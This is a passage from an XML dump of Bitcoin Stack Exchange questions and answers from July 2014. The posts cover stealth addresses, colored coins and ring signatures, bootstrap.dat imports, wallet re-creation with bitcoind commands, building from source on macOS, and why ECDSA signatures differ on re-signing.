unique address.  Rather than posting a single public donation address on your website, have a button that generates a new unique address and saves the private key, or selects the next address from a long list of pre-generated addresses (whose private keys you hold somewhere safe).  Just as before, the payments all go to separate addresses and there is no way to correlate them, nor for one payer to see that other payments went to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only difference with stealth addresses is essentially to move the chore of producing a unique address from the server to the client.  Indeed, in some ways stealth addresses may be worse, since very few people use them, and if you are known to be one of them, it will be easier to connect stealth transactions with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't provide &quot;100% anonymity&quot;.  The fundamental anonymity weakness of Bitcoin remains - that everyone can follow the chain of payments, and if you know something about one transaction or the parties to it, you can deduce something about where those coins came from or where they went.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-22T19:48:51.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29649" PostTypeId="2" ParentId="29640" CreationDate="2014-07-22T20:02:05.020" Score="3" Body="&lt;p&gt;Yes, this should be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;stealth&quot; transaction still sends the colored coin to a specific ordinary address, and anyone can see on the block chain that this address owns that coin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference with stealth transactions is that this ordinary address, rather than being generated from a private key by the recipient in the usual way, is generated by the sender using the recipient's stealth address.  This is done in such a way that the recipient, using additional data included in the transaction, can compute the private key.  They can then redeem the transaction like any other ordinary transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://sx.dyne.org/stealth.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this writeup&lt;/a&gt; in the example in Sections 9.1-9.2, the &quot;ordinary address&quot; in question is 1BjqrpQqr4tY5YPQkL8aG7NGkFbTbiuVu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also my answer &lt;a href=&quot;https://bitcoin.stackexchange.com/a/29648/5757&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-07-22T20:02:05.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29650" PostTypeId="2" ParentId="20701" CreationDate="2014-07-22T20:07:49.963" Score="4" Body="&lt;p&gt;The original article in which the concept of stealth addresses is introduced is written by Peter Todd and can be found in &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2014-January/004020.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; Bitcoin-development list message. The abstract of the article states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Stealth Address is a new type of Bitcoin address and related&#xA;  scriptPubKey/transaction generation scheme that allowers payees to&#xA;  publish a single, fixed, address that payors can send funds efficiently,&#xA;  privately, reliably and non-interactively. Payors do not learn what&#xA;  other payments have been made to the stealth address, and third-parties&#xA;  learn nothing at all. (both subject to an adjustable anonymity set)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4525" LastEditorUserId="341" LastEditDate="2017-06-23T14:40:22.873" LastActivityDate="2017-06-23T14:40:22.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29651" PostTypeId="1" CreationDate="2014-07-22T20:34:02.510" Score="0" ViewCount="729" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I have downloaded the bootstrap.dat torrent to make bitcoin qt synchronize faster.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have searched the bitcoin directory by writing in the Run Application &quot;explorer %APPDATA%\Bitcoin&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have dropped the bootstrap.dat file in there. (other files/maps in there are, blocks, chainstate, .lock, db, debug, peers.dat, wallet.dat/&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have opened the bitcoin qt program through Start.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the bitcoin qt is not importing the bootstrap.dat. It just start synchronizing from 5 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to solve this&lt;/p&gt;&#xA;" OwnerUserId="18703" LastActivityDate="2014-08-21T21:51:57.917" Title="How to make bootstrap.dat work with bitcoin qt" Tags="|bitcoin-core|bootstrap.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29652" PostTypeId="2" ParentId="29651" CreationDate="2014-07-22T20:40:01.290" Score="1" Body="&lt;p&gt;The importing process is not instant, every block from the bootstrap.dat has to be verified first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could be looking at this process of verification.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-22T20:40:01.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29653" PostTypeId="1" AcceptedAnswerId="29658" CreationDate="2014-07-22T21:01:09.560" Score="2" ViewCount="241" Body="&lt;p&gt;It is understood that colored coin is possible with stealth addresses, but what about ring signatures such as how they are used in the cryptonote protocol (Monero, Bytecoin)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like coloring the destination would undermine the obfuscation of the stealth ring&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-07-22T21:15:23.103" LastActivityDate="2014-07-23T00:36:46.067" Title="colored coin possible with ring signatures and stealth addresses?" Tags="|privacy|colored-coins|stealth-address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29654" PostTypeId="2" ParentId="3587" CreationDate="2014-07-22T21:24:11.057" Score="6" Body="&lt;p&gt;You can dump your old wallet to a backup file, restart the program to generate a new wallet and import your old wallet into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are in the directory where your wallet file is located, using the command line that would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind walletpassphrase &quot;xxx&quot; 60&#xA;bitcoind dumpwallet &quot;wallet.dat.backup&quot;&#xA;bitcoind stop&#xA;mv wallet.dat wallet.dat.old&#xA;bitcoind -daemon&#xA;bitcoind importwallet wallet.dat.backup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be interested in a less dirty way, if anybody knows one.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-22T21:24:11.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29655" PostTypeId="1" CreationDate="2014-07-22T22:31:22.687" Score="2" ViewCount="149" Body="&lt;p&gt;I'm not sure I understood everything but all the clients always keep the longest chain, ok. &#xA;So, what happens if an evil person injects bad transactions in a block and successfully mine it (given the difficulty, the probability is extremely low, but let's imagine), how is the network gonna answer?&lt;/p&gt;&#xA;" OwnerUserId="18704" LastEditorUserId="5406" LastEditDate="2018-05-04T17:19:13.930" LastActivityDate="2018-05-04T17:19:13.930" Title="Is it possible that someone forks the chain?" Tags="|mining-theory|blockchain-fork|transaction-verification|best-chain|block-validity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29656" PostTypeId="2" ParentId="29655" CreationDate="2014-07-22T22:40:24.357" Score="3" Body="&lt;p&gt;The rule is that the longest* &lt;strong&gt;valid&lt;/strong&gt; chain is considered the active one. If you build a forking branch with invalid transactions in it, the network (in particular, all full nodes - including miners) will simply ignore it. If it's invalid, it does not exist. Blocks are not relayed to peers before validating them entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to temporarily fool lightweight clients that don't do full validation, but to build a chain with sufficient length to &quot;confirm&quot; these invalid transactions requires sustained high hashrate, assumed to be impossible without significant (close to or above 50%) mining power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;longest* = it's actually the branch with the highest estimated total number of hashes that is considered the active one (as a tie breaker), not the longest one. This only very occasionally makes a difference (in particular, when the fork crosses a retarget).&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-07-22T23:12:00.063" LastActivityDate="2014-07-22T23:12:00.063" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="29658" PostTypeId="2" ParentId="29653" CreationDate="2014-07-23T00:36:46.067" Score="2" Body="&lt;p&gt;Based on my understanding of Cryptonote's ring signature implementation, no, it cannot be used with colored coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, there is a one-to-one correspondence between inputs and outputs of transactions.  Suppose there is a transaction X with an output X1 that sends 1 satoshi to Alice's address A, and everyone agrees that output X1 is colored so that it grants title to Alice's 1977 Chevy Nova.  If Alice decides to give the car to Bob, she creates a new transaction Y, with an input pointing to X1, and whose sole output Y1 sends 1 satoshi to Bob's address B.  Now Bob can prove, by creating a signature corresponding to his address B, that he is the rightful owner of the car.  If Mallory tries to claim the car by creating a different transaction with input X1, he will be found out, because he can't sign that transaction with Alice's private key, so it won't verify.  If Alice tries to give the car to someone else by creating a second properly signed transaction Z with input X1, it will be detected as a double spend because another transaction spending X1 precedes it in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ring signatures, this correspondence is broken.  When creating a transaction, in addition to the one output (of a previous transaction) that you really want to spend, you can list many others.  You create a signature that proves that you are authorized to spend &lt;em&gt;one&lt;/em&gt; of the outputs you listed, but doesn't give any information about which one it was.  However, a linking algorithm ensures that any future attempt to spend that output again will be noticed and rejected.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above scenario, if Alice uses a ring signature on her transaction Y, including not only X1 but another output Z1, then her signature will not prove that she is entitled to spend X1 (and therefore is the rightful owner of the car and can give it away); it only proves that she is entitled to either X1 or Z1.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, Mallory could create a transaction M that includes X1 and another output K1 that he is entitled to spend.  Since he has the private key corresponding to K1, he can properly sign the transaction M, but it won't be clear whether it is spending X1 (which would convey title to the car) or K1 (which won't).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, ring signatures are an optional feature in Cryptonote.  If you want, you can create a transaction with only a single input, which will make it unambiguous which previous output you are spending.  To avoid confusion such as Mallory's transaction above, a colored coin protocol for Cryptonote would probably specify that to convey title, you have to use a transaction with a single input; then Mallory's multiple-input transaction above would still be a legal Cryptonote transaction, but the community would agree it doesn't grant him title to the car.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the whole point of colored coins is to create an unbroken chain of transactions that traces the title of the car, and the whole point of ring signatures is to avoid creating such a chain.  So if you want colored coins, you have to avoid using ring signatures in this way.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-23T00:36:46.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29661" PostTypeId="1" CreationDate="2014-07-23T03:45:45.957" Score="-5" ViewCount="369" Body="&lt;p&gt;this program is advertiseing btcoins but not eplaining what they want to pay me to do and why dos it need to be done? its running algorithms but what is it doing that for? is it trying to protect something and if so what is it they are trying to protect and why?&lt;/p&gt;&#xA;" OwnerUserId="18707" LastEditorUserId="18707" LastEditDate="2014-07-23T04:10:53.990" LastActivityDate="2014-07-23T14:50:27.723" Title="what IS Bitcoin's pourpse and what do they need me to do and why do they need me to do it and what is said thing for?" Tags="|bitcoind|" AnswerCount="1" CommentCount="3" ClosedDate="2014-07-23T17:58:30.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="29662" PostTypeId="2" ParentId="29661" CreationDate="2014-07-23T07:12:21.510" Score="-1" Body="&lt;p&gt;I have not very clear what exactly you are asking, but I will try to answer according to what I think you are asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of Bitcoin is creating a new currency where neither governments nor private institutions will have the power to manipulate. As you may already know, when a country needs more money or has financial problems, they just push a button and make new money out of the blue. Thus, the value of that money compared to the rest of the world is devaluated, which has two important implications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That countrie's exports are cheaper, so other countries will be willing to buy their goods.&#xA;That countrie's imports are more expensive, so inside the country people will start to buy goods made inside the country because the imported ones are too expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will also lead to a raise of prices of the products that are done with raw materials from other countries which in the end will lead to a devaluation of the money people has been keeping in the banks. They can now buy less things with the same money they had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin, being decentraliced and independent can not be devaluated, transactions are quite fast (an international money transer takes about 2 days if you do it with a bank and few minutes if you do it with Bitcoins -the truth is it doesn't take time, time is taken waiting for confirmations of the transaction-) and the number of coins that will be mined is limited (about 20million).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some stores start to see the potencial, people can pay and no commisions are applied by banks so they have that as an addition for starting to use that coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we get to the point... what do they want you to do to earn money? Nothing, nobody wants you to do anything, if you think someone is interested in buying Bitcoins then you can try to mine some and sell them to those that want them, you are creating coins and selling them, so it is up to you to decide if you want to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who gives the value to the Bitcoin? As always, people and the trust of the people on that coin. Who gives the value to the dollar, the central bank? no, it is the people that trust that if they go to a store and give a painted sheet of paper called money to the shopkeeper he will give them goods for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So people willing to buy Bitcoin and people willing to sell Bitcoin give the price to Bitcoin itself. If demand is higer price will rise, if demand is lower price will go down.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastEditorUserId="12249" LastEditDate="2014-07-23T14:50:27.723" LastActivityDate="2014-07-23T14:50:27.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29664" PostTypeId="2" ParentId="29600" CreationDate="2014-07-23T09:22:40.127" Score="3" Body="&lt;p&gt;All services that deal also with fiat money, apart from cryptocurrencies, must comply with specific AML (Anti Money Laundering) and KYC (Know your customer) rules, which can be more strict depending on their jurisdiction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AML/KYC Explained: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=454795.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=454795.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-07-23T09:22:40.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29665" PostTypeId="2" ParentId="21483" CreationDate="2014-07-23T14:37:23.520" Score="1" Body="&lt;p&gt;You need to POST the request according to the &lt;a href=&quot;http://json-rpc.org/wiki/specification&quot; rel=&quot;nofollow&quot;&gt;JSON RPC specifications&lt;/a&gt;. So this will not work using Firefox without any special extension that lets you set POST information. You cannot simply request the page &lt;code&gt;http://user:password@localhost:8332/getinfo&lt;/code&gt; and expect &lt;code&gt;bitcoind&lt;/code&gt; to return the &lt;code&gt;getinfo&lt;/code&gt;. There is no page system, it's not a normal www-server (i.e. pages hyperlinked together), it just uses the HTTP protocol to transport JSON. As long as you make that POST request correctly, I don't think it mattes what page you call.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-07-23T14:37:23.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29666" PostTypeId="1" CreationDate="2014-07-23T15:22:51.813" Score="0" ViewCount="97" Body="&lt;p&gt;In laymen's terms, why is there a need for different bitcoin exchanges? Is it currently the wild west and eventually these exchanges will consolidate. Or can exchanges actually provide different value to their customers, justifying their existence. I ask  this because there are 100+ exchanges out there? Why doesn't everyone just flock to the most reputable and liquid one?&lt;/p&gt;&#xA;" OwnerUserId="18710" LastEditorUserId="15412" LastEditDate="2014-07-23T21:00:42.880" LastActivityDate="2014-07-23T21:00:42.880" Title="Why is there a need for different exchanges?" Tags="|exchanges|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29667" PostTypeId="2" ParentId="29666" CreationDate="2014-07-23T15:39:39.470" Score="3" Body="&lt;p&gt;Different countries, different laws, different currencies, different banks, different payment systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Competition and free market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No single central point of failure.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-07-23T15:39:39.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29668" PostTypeId="2" ParentId="10380" CreationDate="2014-07-23T18:27:42.617" Score="0" Body="&lt;p&gt;You may need to update your version. Check out in the official site of the Wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively (I'm a MAC user and that worked form me) you can delete all files (except for your wallet.dat) in wallet's temp folder (/bin/something - try googling for it) and restart it from the application manager. It should show you a warning message, click OK and you're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: it will re-download the chain, so be patient ;) &lt;/p&gt;&#xA;" OwnerUserId="12373" LastActivityDate="2014-07-23T18:27:42.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29670" PostTypeId="2" ParentId="17794" CreationDate="2014-07-23T23:12:13.440" Score="1" Body="&lt;p&gt;If the address is not in your wallet that is not possible with the current &lt;code&gt;bitcoind&lt;/code&gt; RPC API. You have to either go through the blockchain calculating the balance of the address yourself (i.e. find the last transaction from that address or sum the payouts to the address) or use an online tool like &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; as you mentioned.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-07-23T23:12:13.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29671" PostTypeId="1" CreationDate="2014-07-24T02:02:05.680" Score="0" ViewCount="789" Body="&lt;p&gt;so I'm trying to get bitcoind running on my Mac and I cloned the source code from github. What I tried doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install autoconf automake berkeley-db4 boost miniupnpc openssl pkg-config protobuf qt libtool&#xA;git clone https://github.com/bitcoin/bitcoin.git&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I get an error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;***No targets specified and no makefile found. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm looking and I see &lt;code&gt;Makefile.am&lt;/code&gt; Any Ideas on what to do? &lt;/p&gt;&#xA;" OwnerUserId="18682" LastEditorUserId="15412" LastEditDate="2014-07-24T02:59:40.283" LastActivityDate="2014-07-24T02:59:40.283" Title="Building Bitcoin from Source on MAC OSX 10.9" Tags="|bitcoind|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29672" PostTypeId="2" ParentId="29671" CreationDate="2014-07-24T02:49:27.067" Score="2" Body="&lt;p&gt;As explained in the file &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;doc/build-osx.md&lt;/code&gt;&lt;/a&gt;, before running &lt;code&gt;make&lt;/code&gt;, you first need to run &lt;code&gt;./autogen.sh&lt;/code&gt; and &lt;code&gt;./configure&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-24T02:49:27.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29674" PostTypeId="1" AcceptedAnswerId="29676" CreationDate="2014-07-23T21:09:33.527" Score="2" ViewCount="191" Body="&lt;p&gt;I just noticed that if you repeatedly sign the same message in bitcoin-qt, the signature changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this?&lt;/p&gt;&#xA;" OwnerUserId="14222" OwnerDisplayName="spraff" LastEditorUserId="5406" LastEditDate="2014-10-24T12:36:43.003" LastActivityDate="2014-10-24T12:36:43.003" Title="Why does re-signing a message in bitcoin-qt produce a different hash" Tags="|bitcoin-core|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29675" PostTypeId="2" ParentId="29471" CreationDate="2014-07-24T04:57:51.113" Score="-4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;And by the way, Darkcoin does not provide anonymity. They attached a (broken) implementation of CoinJoin to the ordinary Bitcoin client, and at least initially released it as a closed-source software. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a total crock. Darkcoin's anonymity is the closest to actual implementation among all anonymity-centered alts. RC4 is in testing as we speak right now and will feature DarkSend+. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All coins will be automatically anonymized at interval, not just when they are being sent. This means the entire population of coins will be an anonymous mist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the masternode system will be utilized to chain multiple DarkSend+ passes together in order to increase anonymity, so that even in the unlikely event multiple nodes are compromised the probability of compromising all of nodes in the sequence is nearly impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to add that the code is currently being audited by Kristov Atlas, a well respected security expert, and that the only thing that is closed-source is DarkSend. Once the code has been vetted and refined, it will then be open-sourced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know where you get your information from, but it's obviously not very good or you didn't do your research as what you said is disingenuous and not true.&lt;/p&gt;&#xA;" OwnerUserId="18716" LastActivityDate="2014-07-24T04:57:51.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29676" PostTypeId="2" ParentId="29674" CreationDate="2014-07-24T05:22:27.920" Score="7" Body="&lt;p&gt;Bitcoin uses ECDSA to sign messages. With ECDSA, signing requires as input the private key, the message, and also a random number &lt;em&gt;k&lt;/em&gt;. Signing two different messages with the same &lt;em&gt;k&lt;/em&gt; allows anyone with both signatures to easily recover your ECDSA private key. So every time you sign something with Bitcoin, a new &lt;em&gt;k&lt;/em&gt; is generated, and this makes the signatures different. (The range of &lt;em&gt;k&lt;/em&gt; is extremely large, so the chance of accidentally reusing a &lt;em&gt;k&lt;/em&gt; when you generate one randomly is too small to seriously consider.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some elliptic-curve crypto algorithms specify that &lt;em&gt;k&lt;/em&gt; be a hash of the message. This ensures that &lt;em&gt;k&lt;/em&gt; is always distinct per message, making it more difficult to screw up when implementing the algorithm. With an algorithm that behaves like this, signing the same message with the same key would always get you the same signature. However, this is not standard for ECDSA, so Bitcoin doesn't do this currently.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2014-07-24T05:22:27.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29677" PostTypeId="1" CreationDate="2014-07-24T08:52:40.453" Score="2" ViewCount="159" Body="&lt;p&gt;In bitcoin, the anonymity is ensured by creating a new address for each transaction and by associating this address with a wallet. As far as I understand, with NXT, you use your account (calculated by the system from your passphrase) for every transaction, so it is simple by browsing the blockchain to trace all exchanges behind an account and a person. Is there any plan to address that ?&lt;/p&gt;&#xA;" OwnerUserId="18718" LastActivityDate="2014-09-22T23:38:37.977" Title="NXT single address per user vs bitcoin single address per transaction" Tags="|wallet|address|privacy|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29678" PostTypeId="2" ParentId="22680" CreationDate="2014-07-24T11:05:51.493" Score="0" Body="&lt;p&gt;You might like the short story &lt;a href=&quot;http://www.theghostofgox.com&quot; rel=&quot;nofollow&quot;&gt;The Ghost of Gox&lt;/a&gt;, about a hacker fighting autonomous software agents operating on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="18719" LastActivityDate="2014-07-24T11:05:51.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29679" PostTypeId="2" ParentId="22680" CreationDate="2014-07-24T11:51:22.677" Score="-2" Body="&lt;p&gt;The on going science fiction TV series &lt;em&gt;Almost Human&lt;/em&gt; has mentioned Bitcoin in several episodes. &lt;a href=&quot;http://www.cryptocoinsnews.com/news/bitcoin-featured-almost-human-tv-show-set-year-2048/2013/12/17&quot; rel=&quot;nofollow&quot;&gt;Video and Discussions&lt;/a&gt;. In the show, Bitcoin is considered as a well recognized way for anonymous money transafer. And 5000 btc will be a fortune the size of a country.&lt;/p&gt;&#xA;" OwnerUserId="18720" LastActivityDate="2014-07-24T11:51:22.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29680" PostTypeId="2" ParentId="27061" CreationDate="2014-07-24T15:09:15.910" Score="0" Body="&lt;p&gt;&quot;Internal compiler error&quot; indicates a bug in gcc (or possibly a fault in your hardware, especially if it's not reproducible). Check that you have the latest gcc version. Otherwise, report it to the gcc maintainers, and/or start debugging gcc yourself. There isn't really anything cryptocoin-specific here.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-24T15:09:15.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29681" PostTypeId="1" CreationDate="2014-07-24T15:18:15.203" Score="3" ViewCount="268" Body="&lt;p&gt;Hi i'm building Bitcoin from source and am having some problems. Curious if anyone would be able to help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to make I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In file included from ./json/json_spirit_reader_template.h:9:&#xA;./json/json_spirit_value.h:20:10: fatal error: 'boost/config.hpp' file not found&#xA;#include &amp;lt;boost/config.hpp&amp;gt;&#xA;         ^&#xA;1 error generated.&#xA;make[1]: *** [rpcclient.o] Error 1&#xA;make: *** [all-recursive] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try brew install boost and it's saying boost-1.55.0_2 already installed. Any ideas what exatly is going on? &lt;/p&gt;&#xA;" OwnerUserId="18682" LastActivityDate="2014-08-09T03:09:08.867" Title="Building from Source on MAC OSX 10.9 Error" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29683" PostTypeId="1" CreationDate="2014-07-24T22:08:48.600" Score="5" ViewCount="185" Body="&lt;p&gt;If you're trying to make a profit by trading BTC... fine, I get it. What other reasons are there to trade BTC? &lt;/p&gt;&#xA;" OwnerUserId="18710" LastEditorUserId="121614" LastEditDate="2023-07-26T21:37:34.797" LastActivityDate="2023-07-26T21:37:34.797" Title="What's the point of trading BTC if you're limited in the things you can buy" Tags="|trading|" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="29684" PostTypeId="2" ParentId="4745" CreationDate="2014-07-24T22:18:48.070" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://wiki.unsystem.net/en/index.php/DarkWallet/Alpha#Multisig&quot; rel=&quot;nofollow noreferrer&quot;&gt;DarkWallet wiki&lt;/a&gt; states that DarkWallet supports &quot;creating and spending multisig funds&quot;. However, the text there further specifies that &quot;at the moment spending and communicating the funds is quite manual, transactions have to be copy pasted from one user to another&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An answer on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3712/how-can-i-create-a-multi-signature-2-of-3-transaction&quot;&gt;How can I create a multi signature 2-of-3 transaction?&lt;/a&gt;, features code to generate and spend 2-of-3 transactions presumably with Bitcoin-Core, as Gavin created the script.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-07-24T23:00:10.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29685" PostTypeId="1" CreationDate="2014-07-24T22:52:40.853" Score="1" ViewCount="1046" Body="&lt;p&gt;Got a little issue when compiling Windows QT using Gitian. BTW Im using a Ubuntu 12.04 64bit VPS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am using the instructions here : &lt;a href=&quot;https://cryptocointalk.com/topic/2966-bitcoin-scrypt-v120-source-code-and-compile-instructions-for-linux-windows-and-mac/?p=25594&quot; rel=&quot;nofollow&quot;&gt;https://cryptocointalk.com/topic/2966-bitcoin-scrypt-v120-source-code-and-compile-instructions-for-linux-windows-and-mac/?p=25594&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works pretty much fine until step 20 (sudo bin/gbuild ../bitcoin/contrib/gitian-descriptors/qt-win32.yml)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I get this error : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*********&lt;/strong&gt; WARNING: kvm not loaded, this will probably not work out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- Building for lucid i386 ---&#xA;Stopping target if it is up&#xA;Making a new image copy&#xA;qemu-img: Could not open 'base-lucid-i386.qcow2'&#xA;bin/gbuild:21:in &lt;code&gt;system!': failed to run make-clean-vm --suite lucid --arch i386 (RuntimeError)&#xA;        from bin/gbuild:57:in&lt;/code&gt;build_one_configuration'&#xA;        from bin/gbuild:235&#xA;        from bin/gbuild:230:in &lt;code&gt;each'&#xA;        from bin/gbuild:230&#xA;        from bin/gbuild:228:in&lt;/code&gt;each'&#xA;        from bin/gbuild:228&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW step two did not go so well either : ls -l /dev/kvm did not return anything but I suspect it wasn't anything too important and other steps worked fine until this. &lt;/p&gt;&#xA;" OwnerUserId="18314" LastActivityDate="2014-07-24T22:52:40.853" Title="Gitian Build Issue - Windows" Tags="|bitcoind|bitcoin-core|development|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
